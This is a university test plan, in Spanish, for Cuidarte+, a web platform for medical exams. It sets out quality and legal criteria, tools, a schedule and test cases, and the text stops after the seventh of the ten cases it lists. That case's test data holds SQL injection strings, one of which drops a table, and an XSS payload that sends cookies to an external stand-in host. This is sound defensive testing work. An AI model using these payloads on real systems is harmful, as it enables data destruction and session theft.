DuocUC | ESCUELA DE INFORMÁTICA Y TELECOMUNICACIONES

Informe de seguridad y calidad en el desarrollo de software

Plan de pruebas para el sistema de exámenes médicos Cuidarte+

ASIGNATURA
ISY1102 - Seguridad y Calidad en el Desarrollo de Software

CARRERA
Ingeniería en Informática (Desarrollo de Software)

SECCIÓN
001V

DOCENTE
Juan Guillermo Azócar Malverde

ESTUDIANTE
Najeeb Escobar Pérez

FECHA
14 de septiembre de 2026

Índice

1. Introducción **3**
1.1 Contexto del sistema 3
1.2 Propósito y objetivos del plan 3
1.3 Alcance 3
1.4 Estructura del documento 4
2. Criterios de calidad **4**
2.1 Calidad de producto según ISO/IEC 25010 4
2.2 Criterios de seguridad 4
2.3 Criterios normativos y legales 5
3. Plan de pruebas **6**
3.1 Estrategia de pruebas 6
3.2 Tipos de prueba 7
3.3 Criterios de aceptación transversales 8
3.4 Herramientas y recursos 8
3.5 Cronograma de ejecución 10
4. Diseño de casos de prueba **10**
CP-01 Autenticación de usuario y revocación de sesión 11
CP-02 Control de acceso entre pacientes 11
CP-03 Registro de examen médico con documento adjunto 12
CP-04 Eliminación lógica de examen con confirmación 12
CP-05 Rendimiento bajo carga concurrente 13
CP-06 Descarga de documento clínico dentro del umbral comprometido 13
CP-07 Resistencia a inyección SQL y scripting entre sitios 14
CP-08 Usabilidad y accesibilidad para adultos mayores 15
CP-09 Compatibilidad entre navegadores y dispositivos 15
CP-10 Registro de auditoría de acciones críticas 16
5. Matriz de trazabilidad **16**
6. Análisis de cobertura y coherencia del plan **17**
6.1 Cobertura alcanzada 17
6.2 Brechas de cobertura reconocidas 17
6.3 Inconsistencias detectadas en la especificación 18
6.4 Coherencia con los objetivos del proyecto 18
7. Referencias **19**

1. Introducción

1.1 Contexto del sistema

Cuidarte+ es una plataforma web desarrollada por CreaLab Spa para centros de salud. Centraliza el registro de pacientes, la carga de exámenes médicos y el almacenamiento de los documentos clínicos asociados. Su arquitectura es de tres capas: una aplicación de página única en React, una API REST en Node.js con Express y una base de datos PostgreSQL, con los documentos guardados en storage interno y referenciados desde la base (RF-4.4). El sistema distingue tres roles: el médico registra pacientes, crea exámenes y adjunta documentos (RF-2.2, RF-3.1); el paciente solo consulta y descarga su propia información clínica (RF-4.1, RF-4.2); el administrador gestiona cuentas, asigna roles y revisa la auditoría (RF-2.5 a RF-2.7). Toda acción crítica queda registrada en un log de auditoría (RF-5.1).

Lo que distingue a Cuidarte+ de un CRUD cualquiera es el tipo de información que almacena. Un examen médico y su documento adjunto son datos personales sensibles según el artículo 2 letra g de la Ley 19.628 y de la Ley 21.719, y forman parte de la ficha clínica, cuya reserva protegen los artículos 12 y 13 de la Ley 20.584. Una falla de control de acceso aquí no produce una molestia al usuario: divulga antecedentes de salud de una persona identificada, con consecuencias legales para el centro de salud.

1.2 Propósito y objetivos del plan

Este plan define cómo se verifica que Cuidarte+ cumple su especificación antes de entrar en producción con pacientes reales, no solo que las funciones andan, sino que el sistema protege información clínica, responde dentro de los umbrales comprometidos y resulta usable sin ayuda. Los objetivos son cinco:

1. Verificar que los requisitos funcionales RF-1 a RF-5 se comportan según sus criterios de aceptación.
2. Comprobar que los nueve requisitos de seguridad NFR-SEG resisten las pruebas correspondientes, con atención especial al control de acceso por rol.
3. Medir los umbrales de rendimiento de NFR-PERF y NFR-DIS bajo carga realista.
4. Evaluar usabilidad y accesibilidad con usuarios representativos, incluidos adultos mayores, según NFR-USAB-1.
5. Dejar trazabilidad entre cada requisito, el caso que lo cubre y la norma que lo respalda.

1.3 Alcance

Quedan dentro del alcance la capa de presentación en React, la API REST, la base PostgreSQL, el módulo de almacenamiento de documentos, el subsistema de autenticación y autorización y el registro de auditoría, probados en los entornos de desarrollo, QA y staging. Quedan fuera la infraestructura de red y servidores del centro de salud, la integración con el proveedor de correo del

punto 2.5 del ERS, que se prueba con un servidor simulado, y la certificación formal ante la Agencia de Protección de Datos Personales, trámite posterior a la puesta en marcha.

Una restricción es transversal: ninguna prueba se ejecuta con datos clínicos reales. Todos los conjuntos son sintéticos o anonimizados de forma irreversible, porque probar con fichas reales sería en sí mismo un tratamiento de datos sensibles sin base de licitud.

1.4 Estructura del documento

El capítulo 2 define los criterios de calidad, seguridad y cumplimiento normativo; el 3 contiene el plan propiamente tal, con estrategia, tipos de prueba, criterios de aceptación, recursos y cronograma; el 4 detalla diez casos de prueba; el 5 presenta la matriz de trazabilidad y el 6 analiza la cobertura y las brechas de la especificación.

2. Criterios de calidad

Cada criterio responde a un requisito no funcional declarado en el ERS de Cuidarte+ y se apoya en un estándar técnico o en una norma legal chilena.

2.1 Calidad de producto según ISO/IEC 25010

Seis de las ocho características del modelo ISO/IEC 25010 tienen requisitos explícitos en el ERS y por eso estructuran este plan.

Característica ISO/IEC 25010	Requisito del ERS	Criterio medible
Adecuación funcional	RF-1 a RF-5	Cada requisito funcional cumple su criterio de aceptación declarado, sin defectos de severidad alta abiertos
Eficiencia de desempeño	NFR-PERF-1, NFR-PERF-2, NFR-PERF-3	CRUD simple bajo 300 ms; carga de la página principal bajo 2 s en red móvil promedio; 200 usuarios concurrentes sin degradación
Compatibilidad	NFR-COMPAT-1, NFR-COMPAT-2	Funcionamiento equivalente en las dos últimas versiones de Chrome, Firefox, Safari y Edge, en escritorio, tablet y móvil
Usabilidad	NFR-USAB-1 a NFR-USAB-4	Cinco usuarios representativos, incluidos adultos mayores, completan las tareas principales sin bloqueos; cumplimiento de WCAG 2.1 nivel AA
Fiabilidad	NFR-DIS-1, NFR-DIS-2	Disponibilidad mensual de 99,5%; migraciones de datos sin pérdida durante la ventana de mantenimiento
Seguridad	NFR-SEG-1 a NFR-SEG-9	Ver punto 2.2

La mantenibilidad no tiene requisito asociado en el ERS. Se incorpora como criterio de proceso: cobertura de pruebas unitarias no inferior al 70% en los módulos de autenticación, autorización y gestión de exámenes, medida con Jest. Sin esa red, cualquier corrección posterior arriesga romper un control de acceso sin que nadie se entere.

2.2 Criterios de seguridad

Los nueve requisitos de seguridad del ERS se verifican contra controles reconocidos de OWASP o de la familia ISO/IEC 27000.

Requisito	Qué exige	Marco de verificación
NFR-SEG-1	TLS obligatorio en todas las comunicaciones	OWASP ASVS V9 (comunicaciones); se valida versión mínima TLS 1.2 y ausencia de contenido mixto
NFR-SEG-2	Hashing de contraseñas con bcrypt	OWASP ASVS V2.4; factor de costo no inferior a 12
NFR-SEG-3	Cifrado de datos sensibles en reposo	ISO 27799, control sobre información de salud almacenada
NFR-SEG-4	Control de acceso por rol en el backend	OWASP Top 10:2021 A01 Broken Access Control; OWASP API Security Top 10 API1 (BOLA)
NFR-SEG-5	Protección contra CSRF, XSS e inyección SQL, con validación y saneamiento de entrada	OWASP Top 10:2021 A03 Injection
NFR-SEG-6	Gestión segura de logs	OWASP Top 10:2021 A09; los logs no deben contener resultados de exámenes ni identificadores clínicos en claro
NFR-SEG-7	Políticas de respaldo y recuperación definidas	ISO/IEC 27002:2022 control 8.13
NFR-SEG-8	Cumplimiento de normativa de protección de datos personales	Ver punto 2.3
NFR-SEG-9	Manejo de sesión mediante JWT	OWASP ASVS V3 (gestión de sesión); vigencia corta del token de acceso y revocación efectiva en el logout (RF-1.2)

Las reglas de negocio establecen que el paciente solo tiene permisos de lectura (RB-1), que el administrador tiene acceso completo (RB-2) y que el médico ve la información clínica de cualquier paciente registrado (RB-3). Ninguna dice de forma explícita que un paciente no puede leer los exámenes de otro: la restricción se desprende del sentido del sistema, pero al no estar escrita corre el riesgo de no implementarse, y por eso CP-02 la prueba de manera directa.

2.3 Criterios normativos y legales

Protección de datos personales. La Ley 19.628 clasifica como dato sensible, en su artículo 2 letra g, la información sobre estados de salud, y su artículo 10 prohíbe tratarlos salvo autorización expresa, mandato legal o necesidad para el otorgamiento de beneficios de salud. La Ley 21.719 la reemplaza desde diciembre de 2026 y endurece el régimen: crea la Agencia de Protección de Datos Personales, exige base de licitud para cada tratamiento, obliga a notificar brechas y establece multas escalonadas. Cuidarte+ opera dentro de ese horizonte, así que el plan se diseña contra la ley nueva. En pruebas esto se traduce en verificar la trazabilidad del consentimiento, el registro de cada acceso a datos clínicos y la capacidad de responder a una solicitud de acceso o eliminación del titular.

Derechos del paciente. La Ley 20.584 define en su artículo 12 la ficha clínica y declara sensibles los datos que contiene; el artículo 13 la hace reservada y enumera quiénes pueden acceder a ella. Los exámenes y documentos que administra Cuidarte+ caen bajo esa reserva, lo que refuerza NFR-SEG-4 y convierte el registro de auditoría de RF-5.1 en un requisito de cumplimiento legal: sin ese log el centro de salud no puede acreditar quién accedió a qué ficha.

Ciberseguridad. La Ley 21.663 crea la Agencia Nacional de Ciberseguridad e impone obligaciones a los operadores de servicios esenciales, categoría que incluye la prestación de servicios de salud. Si el centro que opere Cuidarte+ califica como tal, queda obligado a reportar incidentes y a mantener

controles de gestión de riesgos, por lo que los hallazgos de seguridad se documentan en un formato que sirva como evidencia ante la autoridad.

Accesibilidad y usabilidad. El requisito NFR-USAB-1, redactado como tipografía legible, contraste adecuado y controles grandes, no es verificable tal cual. Se aterriza sobre WCAG 2.1 nivel AA: contraste mínimo de 4,5:1 según el criterio 1.4.3, operabilidad completa por teclado según el 2.1.1 y etiquetado correcto de formularios según el 3.3.2. Para los controles táctiles se adopta el criterio 2.5.8 de WCAG 2.2, con un objetivo mínimo de 24 por 24 píxeles CSS. La norma ISO 9241-11 aporta la definición de usabilidad en eficacia, eficiencia y satisfacción con que se interpretan las sesiones con usuarios.

3. Plan de pruebas

3.1 Estrategia de pruebas

La estrategia sigue la estructura de la norma ISO/IEC/IEEE 29119, cuya parte 3 define la documentación del proceso de pruebas.

Enfoque. Es mixto. Se automatiza lo que se repite y admite resultado binario: pruebas unitarias, de contrato sobre los endpoints REST, de extremo a extremo, escaneos de seguridad y ejecuciones de carga. Se mantiene manual lo que requiere criterio humano: sesiones de usabilidad con adultos mayores, pruebas exploratorias del módulo de exámenes y revisión de hallazgos para descartar falsos positivos. Lo automatizado corre en GitHub Actions en cada push a la rama principal; carga y seguridad completa corren una vez por sprint, porque son lentas y no tiene sentido bloquear cada integración con ellas.

Etapas. Las unitarias las escribe el desarrollador junto con el código y verifican funciones aisladas: validadores de entrada, cálculo de permisos por rol, utilidades de hashing. Las de integración verifican la conversación entre capas, sobre todo API con base de datos y con storage, donde el ERS concentra el mayor riesgo (RF-4.3, RF-4.4). Las de sistema ejercitan los flujos completos en QA con datos sintéticos. Las de aceptación las ejecutan el product owner clínico y los usuarios representativos sobre staging, y autorizan el paso a producción.

Priorización por riesgo. La prioridad cruza el impacto de una falla con su probabilidad, y en un sistema de salud el impacto se mide por la exposición de datos clínicos.

Prioridad	Criterio	Requisitos incluidos
Crítica	Una falla expone datos sensibles o permite acceso no autorizado	NFR-SEG-1 a NFR-SEG-5, NFR-SEG-9, RF-1, RB-1, RB-2, RB-3
Alta	Una falla impide una función central o borra información clínica	RF-3, RF-4, RF-5, NFR-SEG-6, NFR-SEG-7
Media	Una falla degrada el servicio sin comprometer datos	NFR-PERF-1 a NFR-PERF-3, NFR-DIS-1, NFR-DIS-2
Baja	Una falla afecta la comodidad de uso en escenarios acotados	NFR-USAB-3, NFR-COMPAT-2

Los requisitos de prioridad crítica se prueban en cada ciclo y ninguno puede quedar con defectos abiertos al momento de la entrega. Si el tiempo se acorta, lo primero que se recorta es la matriz de compatibilidad, nunca las pruebas de control de acceso.

Criterios de entrada. El código está desplegado en QA con versión identificada, las pruebas unitarias pasan con cobertura sobre el 70% en los módulos críticos, los datos sintéticos están cargados, la colección de Swagger del punto 3.1.2 del ERS está publicada y actualizada, y los casos del ciclo están escritos y revisados.

Criterios de salida. Los casos de prioridad crítica y alta se ejecutaron en su totalidad; no quedan defectos críticos ni altos sin resolver; los defectos medios y bajos aceptados están documentados con justificación y plan de corrección; los umbrales de NFR-PERF se cumplen en la prueba de carga; el escaneo de seguridad no arroja hallazgos críticos, como pide el punto 3.3.1 del ERS; y las sesiones de usabilidad no reportan bloqueos mayores con los cinco usuarios del punto 3.1.1.

3.2 Tipos de prueba

Funcionales. Cubren los cinco grupos de requisitos funcionales: autenticación y cierre de sesión (RF-1), registro y administración de usuarios y pacientes (RF-2), ciclo completo de exámenes (RF-3), visualización y descarga por parte del paciente (RF-4) y registro de auditoría (RF-5). Se ejecutan con Playwright sobre la interfaz y con Newman sobre la API, de modo que un mismo requisito queda verificado en los dos frentes.

De integración. El ERS define un flujo que atraviesa tres componentes: el médico adjunta un documento, el backend lo guarda en storage y deja la referencia en la base (RF-4.3, RF-4.4). Un fallo de sincronización produce registros huérfanos o documentos inaccesibles, y ninguna prueba unitaria lo detecta. Se ejecutan contra una base PostgreSQL real y un storage de prueba, nunca contra simulaciones.

De seguridad. Son las de mayor peso y se dividen en tres frentes: análisis estático con SonarQube y revisión de dependencias con npm audit y Snyk; análisis dinámico con OWASP ZAP y sqlmap para verificar NFR-SEG-5; y pruebas manuales de control de acceso, las más importantes, que comprueban qué ocurre cuando un usuario de un rol intenta ejecutar una operación de otro rol o acceder a un recurso ajeno. El ERS exige auditoría con checklist y pruebas de penetración sin hallazgos críticos; el checklist es OWASP ASVS nivel 2, que corresponde a aplicaciones que manejan datos sensibles.

De rendimiento. El ERS fija tres umbrales numéricos (NFR-PERF-1, NFR-PERF-2 y NFR-PERF-3) y un cuarto en el criterio de aceptación de RF-4: subir o descargar un documento no puede superar los 10 segundos. Se verifican con k6 en tres modalidades: carga de 200 usuarios concurrentes durante 30 minutos, estrés hasta el punto de quiebre, y resistencia de ocho horas para detectar fugas de memoria, que en Node.js aparecen recién a esa escala de tiempo.

De usabilidad y accesibilidad. El ERS pide sesiones con cinco usuarios representativos, incluidos adultos mayores. Son observacionales: se entrega una tarea y se mide si la completa, cuánto

demora y dónde se traba, sin guiarlo. Se complementa con la Escala de Usabilidad del Sistema, con 68 puntos de umbral mínimo. La accesibilidad se audita con axe DevTools y Lighthouse contra WCAG 2.1 nivel AA, más revisión manual por teclado y lector de pantalla, porque las herramientas automáticas detectan alrededor de un tercio de los problemas reales.

De compatibilidad. Verifican NFR-COMPAT-1 y NFR-COMPAT-2 sobre una matriz de las dos últimas versiones de Chrome, Firefox, Safari y Edge, en resoluciones de escritorio, tablet y móvil. Se ejecutan en BrowserStack para cubrir Safari sobre iOS, que no se puede emular con fidelidad desde Windows o Linux.

De regresión. Cada defecto corregido incorpora un caso automatizado a la suite, que se ejecuta completa antes de cada entrega. Importa sobre todo en el módulo de permisos: una corrección en la lógica de roles puede abrir un acceso indebido en otra parte sin que nadie lo note.

3.3 Criterios de aceptación transversales

Funcionales. El resultado obtenido coincide exactamente con el esperado. El sistema no arroja errores no controlados. Los mensajes de error son comprensibles y no revelan información técnica del servidor, en línea con NFR-USAB-3 y NFR-SEG-6. Las eliminaciones son lógicas y piden confirmación previa, según el criterio de aceptación de RF-3.

No funcionales. Los tiempos de respuesta se miden en el percentil 95, no en el promedio, porque un promedio de 250 ms puede esconder que uno de cada veinte pacientes espera tres segundos. Toda comunicación viaja sobre TLS 1.2 o superior. Ningún dato clínico aparece en claro en logs, mensajes de error ni almacenamiento local del navegador.

De reglas de negocio. El paciente accede exclusivamente a sus propios exámenes y sin permisos de escritura (RB-1). El administrador ejecuta todas las operaciones sobre usuarios y datos (RB-2). El médico consulta la información clínica de cualquier paciente registrado (RB-3). Cualquier operación fuera del rol devuelve HTTP 403, queda registrada en auditoría y no filtra información sobre la existencia del recurso.

3.4 Herramientas y recursos

3.4.1 Herramientas

Herramienta	Tipo de prueba	Por qué esta
Jest	Unitarias de backend	Estándar de Node.js; mide cobertura sin configuración extra
React Testing Library con Vitest	Unitarias de frontend	Prueba desde la perspectiva del usuario, no de la implementación
Playwright	Extremo a extremo	Cubre Chromium, Firefox y WebKit, la matriz de NFR-COMPAT-1
Postman y Newman	API y contrato	Ejecuta la colección Swagger que ya exige el punto 3.1.2 del ERS
k6	Rendimiento y carga	Escenarios en JavaScript; menos recursos que JMeter para 200 usuarios
OWASP ZAP	Seguridad dinámica	Cubre los vectores de NFR-SEG-5 y mapea al OWASP Top 10

Herramienta	Tipo de prueba	Por qué esta
sqlmap	Seguridad, inyección SQL	Detecta variantes ciegas que ZAP no siempre encuentra
SonarQube	Análisis estático	Detecta consultas concatenadas y validaciones ausentes antes del despliegue
npm audit y Snyk	Dependencias	Express, pg y jsonwebtoken comprometen el sistema si son vulnerables
axe DevTools y Lighthouse	Accesibilidad	Auditan WCAG 2.1 nivel AA e indican el criterio incumplido
BrowserStack	Compatibilidad	Provee Safari sobre iOS y dispositivos físicos reales
Jira con Xray	Gestión	Vincula caso, ejecución, defecto y requisito: base de la matriz del capítulo 5
GitHub Actions	Integración continua	Ejecuta la suite en cada push y bloquea la fusión si falla un caso crítico

3.4.2 Recursos humanos

Rol	Responsabilidad	Dedicación
Líder de QA	Planifica el proceso, aprueba los criterios de salida y reporta el estado a la jefatura de proyecto	Media jornada
Analista de QA funcional	Diseña y ejecuta los casos funcionales y de usabilidad, y gestiona los defectos	Jornada completa
Ingeniero de automatización	Construye y mantiene las suites de Playwright, Newman y k6, y la canalización de integración	Jornada completa
Analista de seguridad	Ejecuta el análisis estático y dinámico, las pruebas de control de acceso y la verificación contra ASVS	Media jornada
Desarrollador de apoyo	Corrige los defectos reportados y prepara los entornos	Según demanda
Product owner clínico	Valida que los flujos reflejen la práctica clínica real y aprueba las pruebas de aceptación	Según demanda

El perfil clínico no es opcional: un analista de QA puede verificar que un examen se guarda correctamente, pero no si los campos que el sistema captura son los que un médico necesita registrar.

3.4.3 Recursos técnicos y entornos

Las estaciones de trabajo requieren Node.js 20 LTS, Docker para levantar PostgreSQL aislado, los navegadores de la matriz de compatibilidad y acceso a BrowserStack. Se definen tres entornos: desarrollo, en la máquina de cada desarrollador, solo con pruebas unitarias; QA, que replica la arquitectura de producción a menor escala y aloja las pruebas funcionales, de integración y de seguridad; y staging, equivalente a producción en capacidad y configuración, único donde tienen sentido las pruebas de carga y de aceptación, porque medir 200 usuarios concurrentes contra un servidor dimensionado a la mitad entrega un número que no significa nada. Los tres se cargan con datos sintéticos: pacientes ficticios con RUT generados algorítmicamente, exámenes de tipos variados y documentos en los formatos de RF-4.3 (PDF, DOC, PPT, JPG y PNG), con casos límite deliberados como el tamaño máximo permitido, tildes y caracteres especiales, fechas futuras y pacientes sin exámenes.

3.5 Cronograma de ejecución

El plan se ejecuta en seis semanas, alineado con los sprints del equipo de desarrollo. La corrección de defectos no ocupa una semana exclusiva sino que ocurre de forma continua desde la semana 2; la semana 6 concentra la regresión final y la decisión de liberar.

Semana	Actividad	Responsable	Entregable
1	Análisis del ERS, diseño de casos de prueba y matriz de trazabilidad	Líder de QA y analista funcional	Casos de prueba documentados y aprobados
1	Preparación de entornos y generación del conjunto de datos sintéticos	Ingeniero de automatización y desarrollador de apoyo	Entornos de QA y staging operativos
2	Pruebas unitarias y de integración; construcción de la suite automatizada	Ingeniero de automatización	Informe de cobertura sobre el 70% en módulos críticos
3	Ejecución de las pruebas funcionales de RF-1 a RF-5	Analista funcional	Informe de ejecución y registro de defectos
4	Pruebas de seguridad: análisis estático, dinámico y control de acceso por rol	Analista de seguridad	Informe de vulnerabilidades con checklist ASVS nivel 2
4	Pruebas de rendimiento y carga sobre staging	Ingeniero de automatización	Informe con percentiles de respuesta frente a los umbrales de NFR-PERF
5	Sesiones de usabilidad con cinco usuarios representativos y auditoría de accesibilidad	Analista funcional	Informe de usabilidad con puntaje SUS y hallazgos WCAG
5	Pruebas de compatibilidad sobre la matriz de navegadores y dispositivos	Analista funcional	Matriz de compatibilidad con resultados
6	Corrección de defectos, regresión completa y pruebas de aceptación	Equipo completo	Informe final de pruebas y recomendación de paso a producción

4. Diseño de casos de prueba

Se documentan diez casos representativos que cubren los cinco grupos de requisitos funcionales y cuatro de las cinco categorías de requisitos no funcionales, de modo de verificar todos los tipos de prueba declarados en el capítulo 3. La categoría restante, disponibilidad, se analiza en el capítulo 6.

CP-01 Autenticación de usuario y revocación de sesión

Campo	Detalle		
ID	CP-01		
Nombre	Inicio de sesión con credenciales válidas y cierre de sesión con revocación de token		
Requerimiento asociado	RF-1.1, RF-1.2, NFR-SEG-9	Tipo de prueba	Funcional, con verificación de seguridad de sesión
Descripción	Comprobar que un usuario registrado inicia sesión con nombre de usuario y contraseña, que el sistema emite un JWT de vigencia corta y que el cierre de sesión invalida ese token de forma efectiva		
Precondiciones	Existe un usuario médico activo en la base de datos con contraseña conocida. El sistema está desplegado en el entorno de QA sobre HTTPS		
Pasos	1. Acceder a la página de inicio de sesión. 2. Ingresar nombre de usuario y contraseña válidos y confirmar. 3. Capturar el JWT emitido e invocar un endpoint protegido con ese token. 4. Cerrar sesión desde la interfaz. 5. Reintentar la invocación del endpoint protegido con el mismo token		
Resultado esperado	El paso 2 redirige al panel correspondiente al rol y devuelve un JWT válido. El paso 3 responde HTTP 200. El paso 5 responde HTTP 401 y no entrega datos		
Criterio de aceptación	El token emitido tiene vigencia declarada no superior a 15 minutos, viaja sobre TLS y queda revocado tras el logout. Ningún paso expone la contraseña en la respuesta, en los logs ni en el almacenamiento local del navegador		
Datos de prueba	Usuario: medico.prueba / Contraseña: Cu1darte+2026#Qa		

CP-02 Control de acceso entre pacientes

Campo	Detalle		
ID	CP-02		
Nombre	Un paciente intenta acceder a los exámenes de otro paciente		
Requerimiento asociado	RF-4.1, NFR-SEG-4, RB-1	Tipo de prueba	Seguridad, control de acceso a nivel de objeto
Descripción	Verificar que el backend valida la propiedad del recurso y no solo el rol del solicitante. Es el caso de mayor criticidad del plan: su falla expone datos clínicos de terceros y vulnera la reserva de la ficha clínica del artículo 13 de la Ley 20.584		
Precondiciones	Existen dos pacientes registrados, cada uno con al menos un examen médico asociado. Se conocen los identificadores de ambos exámenes		
Pasos	1. Iniciar sesión como paciente A y obtener su JWT. 2. Consultar el examen propio y registrar el identificador y la respuesta. 3. Invocar el endpoint de detalle del examen del paciente B usando el JWT del paciente A. 4. Repetir el intento sobre el endpoint de descarga del documento del paciente B. 5. Intentar el mismo acceso manipulando el identificador en la URL de la interfaz		
Resultado esperado	El paso 2 responde HTTP 200 con los datos del paciente A. Los pasos 3, 4 y 5 responden HTTP 403 sin entregar dato alguno del paciente B, ni siquiera metadatos como el nombre del archivo o la fecha del examen		
Criterio de aceptación	La validación ocurre en el backend y no depende de que la interfaz oculte el enlace. La respuesta no distingue entre recurso inexistente y recurso ajeno, para no filtrar la existencia del registro. Cada intento fallido queda registrado en auditoría conforme a RF-5.1		
Datos de prueba	Paciente A: RUT 11.111.111-1, examen ID 1001. Paciente B: RUT 12.345.678-5, examen ID 1002		

CP-03 Registro de examen médico con documento adjunto

Campo	Detalle		
ID	CP-03		
Nombre	Un médico registra un examen y adjunta el documento clínico correspondiente		
Requerimiento asociado	RF-3.1, RF-4.3, RF-4.4	Tipo de prueba	Funcional e integración
Descripción	Validar el flujo completo que atraviesa la interfaz, la API, el storage interno y la base de datos, incluido el control de formatos permitidos		
Precondiciones	Existe un paciente registrado. El médico tiene sesión iniciada. El storage interno está disponible y con espacio suficiente		
Pasos	1. Ingresar al módulo de exámenes y seleccionar el paciente. 2. Crear un examen nuevo completando tipo, fecha y observaciones. 3. Adjuntar un documento en PDF. 4. Guardar el registro. 5. Consultar la base de datos y verificar la referencia al archivo. 6. Verificar en el storage que el archivo existe y su contenido coincide con el original. 7. Reintentar la carga con un archivo de extensión no permitida		
Resultado esperado	Los pasos 2 a 4 completan sin error y el examen aparece en el listado del paciente. El paso 5 muestra la fila con la referencia correcta al archivo. El paso 6 confirma que el documento se almacenó íntegro. El paso 7 devuelve un mensaje de validación y no guarda ni el archivo ni el registro		
Criterio de aceptación	El documento queda en storage interno con la referencia en base de datos según RF-4.4, sin registros huérfanos si la operación falla a medio camino. Solo se aceptan los formatos PDF, DOC, PPT, JPG y PNG que declara RF-4.3. La validación del tipo de archivo se ejecuta en el backend y no confía en la extensión declarada por el cliente		
Datos de prueba	Paciente RUT 11.111.111-1. Archivos: hemograma_valido.pdf (2 MB), radiografia.jpg (5 MB), script_malicioso.exe (rechazo esperado), documento_renombrado.pdf que en realidad es un ejecutable (rechazo esperado)		

CP-04 Eliminación lógica de examen con confirmación

Campo	Detalle		
ID	CP-04		
Nombre	Eliminación de un examen médico con confirmación previa y conservación del registro		
Requerimiento asociado	RF-3.3	Tipo de prueba	Funcional
Descripción	Comprobar que la eliminación pide confirmación y que no borra físicamente la información, requisito relevante porque un examen eliminado por error no se puede reconstruir y porque la trazabilidad clínica exige conservar el histórico		
Precondiciones	Existe un examen médico con un documento adjunto. El médico tiene sesión iniciada y permisos sobre ese examen		
Pasos	1. Ingresar al detalle del examen. 2. Presionar la opción de eliminar. 3. Cancelar en el diálogo de confirmación y verificar que el examen sigue disponible. 4. Repetir la acción y confirmar la eliminación. 5. Verificar que el examen ya no aparece en el listado del paciente. 6. Consultar la base de datos para comprobar que el registro sigue presente con su marca de eliminación		
Resultado esperado	El paso 3 deja el examen intacto. El paso 4 lo retira de la vista. El paso 6 muestra que la fila persiste con el indicador de eliminación activo y la fecha de la operación		
Criterio de aceptación	La eliminación es lógica y reversible por un administrador. El diálogo de confirmación indica de forma explícita qué se va a eliminar. La operación queda registrada en auditoría con usuario, fecha y recurso afectado, según RF-5.1		
Datos de prueba	Examen ID 1003 del paciente RUT 11.111.111-1, con documento adjunto asociado		

CP-05 Rendimiento bajo carga concurrente

Campo	Detalle		
ID	CP-05		
Nombre	Tiempo de respuesta de operaciones CRUD con 200 usuarios concurrentes		
Requerimiento asociado	NFR-PERF-1, NFR-PERF-3	Tipo de prueba	Rendimiento, prueba de carga
Descripción	Verificar que el sistema mantiene los tiempos de respuesta comprometidos con la concurrencia máxima declarada en el ERS		
Precondiciones	Entorno de staging con capacidad equivalente a producción. Base de datos poblada con 5.000 pacientes y 20.000 exámenes. Guion de k6 configurado		
Pasos	1. Escalar de forma gradual hasta 200 usuarios virtuales durante 5 minutos. 2. Sostener la carga durante 30 minutos ejecutando una mezcla de 60% lecturas, 30% escrituras y 10% descargas. 3. Registrar los percentiles de tiempo de respuesta y la tasa de error. 4. Reducir la carga de forma gradual y verificar que el sistema se recupera		
Resultado esperado	Las operaciones CRUD simples responden bajo 300 ms en el percentil 95 durante toda la meseta de carga. La tasa de error se mantiene bajo el 1%. El sistema no presenta degradación acumulativa ni reinicios del proceso		
Criterio de aceptación	Se cumplen los umbrales de NFR-PERF-1 y NFR-PERF-3 medidos en el percentil 95 y no en el promedio. El consumo de memoria del proceso de Node.js se estabiliza y no crece de forma sostenida durante la meseta		
Datos de prueba	200 usuarios virtuales distribuidos en 140 pacientes, 50 médicos y 10 administradores. Conjunto sintético de 5.000 pacientes y 20.000 exámenes		

CP-06 Descarga de documento clínico dentro del umbral comprometido

Campo	Detalle		
ID	CP-06		
Nombre	Un paciente descarga el documento de su examen en un tiempo no superior a 10 segundos		
Requerimiento asociado	RF-4.2, criterio de aceptación de RF-4	Tipo de prueba	Rendimiento y funcional
Descripción	Medir el tiempo de descarga extremo a extremo bajo condiciones de red realistas, incluyendo la simulación de conexión móvil que exige NFR-PERF-2		
Precondiciones	El paciente tiene sesión iniciada y posee al menos un examen con documento adjunto de 10 MB		
Pasos	1. Ingresar al listado de exámenes propios. 2. Abrir el detalle del examen. 3. Solicitar la descarga del documento y cronometrar desde la solicitud hasta la finalización. 4. Repetir la medición con el perfil de red móvil 4G simulado a 5 Mbps. 5. Verificar la integridad del archivo descargado comparando su hash con el original		
Resultado esperado	La descarga completa en menos de 10 segundos en ambos escenarios de red. El archivo descargado es idéntico al almacenado		
Criterio de aceptación	Se cumple el umbral de 10 segundos declarado en el criterio de aceptación de RF-4, medido en el percentil 95 sobre veinte repeticiones. El enlace de descarga exige autenticación vigente y no es reutilizable desde una sesión distinta		
Datos de prueba	Paciente RUT 11.111.111-1, examen ID 1001, documento resonancia.pdf de 10 MB		

CP-07 Resistencia a inyección SQL y scripting entre sitios

Campo	Detalle		
ID	CP-07		
Nombre	Inyección de código en el buscador de pacientes y en los campos del formulario de examen		
Requerimiento asociado	NFR-SEG-5	Tipo de prueba	Seguridad, análisis dinámico
Descripción	Verificar que la validación y el saneamiento de entrada del backend neutralizan los vectores de inyección declarados en el ERS. Cubre los riesgos A03 del OWASP Top 10:2021		
Precondiciones	Entorno de QA desplegado con datos sintéticos. OWASP ZAP y sqlmap configurados contra la URL base. El médico tiene sesión iniciada		
Pasos	1. Ingresar cargas de inyección SQL en el campo de búsqueda de pacientes y observar la respuesta. 2. Ejecutar sqlmap sobre los parámetros expuestos de los endpoints de búsqueda y de detalle de examen. 3. Ingresar cargas de XSS en el campo de observaciones del examen y guardarlo. 4. Abrir el examen desde otra sesión y verificar si el script se ejecuta. 5. Ejecutar el escaneo activo de OWASP ZAP sobre la aplicación completa. 6. Enviar una solicitud de escritura desde un origen externo para verificar la protección contra CSRF		
Resultado esperado	Ninguna carga de inyección altera la consulta ni devuelve datos fuera del alcance del usuario. Las entradas maliciosas se almacenan escapadas o se rechazan, y nunca se ejecutan al renderizarse. La solicitud del paso 6 se rechaza por falta de token válido. Los mensajes de error no revelan estructura de base de datos ni trazas de excepción		
Criterio de aceptación	El informe de OWASP ZAP no registra hallazgos de severidad alta ni crítica, conforme al criterio de aceptación del punto 3.3.1 del ERS. sqlmap no identifica ningún parámetro vulnerable. Las consultas del backend usan sentencias parametrizadas y no concatenación de cadenas, lo que se verifica además con SonarQube		
Datos de prueba	Cargas de inyección SQL: `' OR '1'='1`, `'; DROP TABLE examenes;--`, `' UNION SELECT usuario, contrasena FROM usuarios--`. Cargas XSS: `<script>alert(document.cookie)</script>`, `<img src=x onerror=fetch('http://externo/'+document.cookie)>`		

